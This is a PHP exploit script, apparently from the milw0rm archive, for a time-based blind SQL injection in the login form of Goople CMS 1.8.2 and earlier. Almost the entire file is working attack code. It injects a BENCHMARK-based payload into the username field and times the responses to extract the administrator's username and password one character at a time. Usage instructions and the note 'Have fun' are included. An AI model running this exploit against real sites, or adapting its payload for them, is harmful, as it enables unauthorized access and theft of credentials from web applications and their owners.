87 lines
No EOL
2 KiB
Perl
Executable file
87 lines
No EOL
2 KiB
Perl
Executable file
#--+++=========================================================+++--#
|
|
#--+++====== Goople <= 1.8.2 Blind SQL Injection Exploit ======+++--#
|
|
#--+++=========================================================+++--#
|
|
|
|
#!/usr/bin/php
|
|
<?
|
|
|
|
function usage ()
|
|
{
|
|
echo
|
|
"\n[+] Goople <= 1.8.2 Blind SQL Injection Exploit".
|
|
"\n[+] Author: darkjoker".
|
|
"\n[+] Site : http://darkjoker.net23.net".
|
|
"\n[+] Usage : php xpl.php <hostname> <path> [key]".
|
|
"\n[+] Ex. : php xpl.php localhost /goople abcdefghijklmnopqrstuvwxyz".
|
|
"\n[+] Note : Have fun ^^\n\n";
|
|
exit ();
|
|
}
|
|
|
|
function check ($hostname, $path, $field, $pos, $char)
|
|
{
|
|
$char = ord ($char);
|
|
$fp = fsockopen ($hostname, 80);
|
|
$usr = "username=1' OR IF((ASCII(SUBSTRING((SELECT {$field} FROM GoopleCMS_users_ WHERE id =1),{$pos},1))={$char})".
|
|
",BENCHMARK(200000000,CHAR(0)),0) OR '1' = '2";
|
|
$usr = str_replace ("'", "%27", $usr);
|
|
$usr = str_replace (" ", "%20", $usr);
|
|
$pwd = "password=asd";
|
|
$sub = "loginsubmit=loginsubmit&loginsubmit=Login";
|
|
$str = "{$usr}&{$pwd}&{$sub}";
|
|
$post = "POST {$path}/frontpage.php HTTP/1.1\r\n".
|
|
"Host: {$hostname}\r\n".
|
|
"Connection: Close\r\n".
|
|
"Content-Type: application/x-www-form-urlencoded\r\n".
|
|
"Content-Length: " . strlen ($str) . "\r\n\r\n".
|
|
$str;
|
|
|
|
fputs ($fp, $post);
|
|
$a = time ();
|
|
while (!feof ($fp))
|
|
$res .= fgets ($fp, 1024);
|
|
|
|
$b = time ();
|
|
fclose ($fp);
|
|
|
|
if ($b - $a > 4)
|
|
return true;
|
|
else
|
|
return false;
|
|
}
|
|
|
|
|
|
function brute ($hostname, $path, $field, $key)
|
|
{
|
|
$pos = 1;
|
|
$chr = 0;
|
|
while ($chr < strlen ($key))
|
|
{
|
|
if (check ($hostname, $path, $field, $pos, $key [$chr]))
|
|
{
|
|
echo $key [$chr];
|
|
$chr = -1;
|
|
$pos++;
|
|
}
|
|
$chr++;
|
|
}
|
|
}
|
|
|
|
|
|
if (count ($argv) != 3)
|
|
usage ();
|
|
|
|
$hostname = $argv [1];
|
|
$path = $argv [2];
|
|
$key = $argv [3];
|
|
if (empty ($key))
|
|
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
|
|
|
echo "[+] Username: ";
|
|
brute ($hostname, $path, "username", $key);
|
|
echo "\n[+] Password: ";
|
|
brute ($hostname, $path, "password", $key);
|
|
echo "\n";
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2009-01-06] |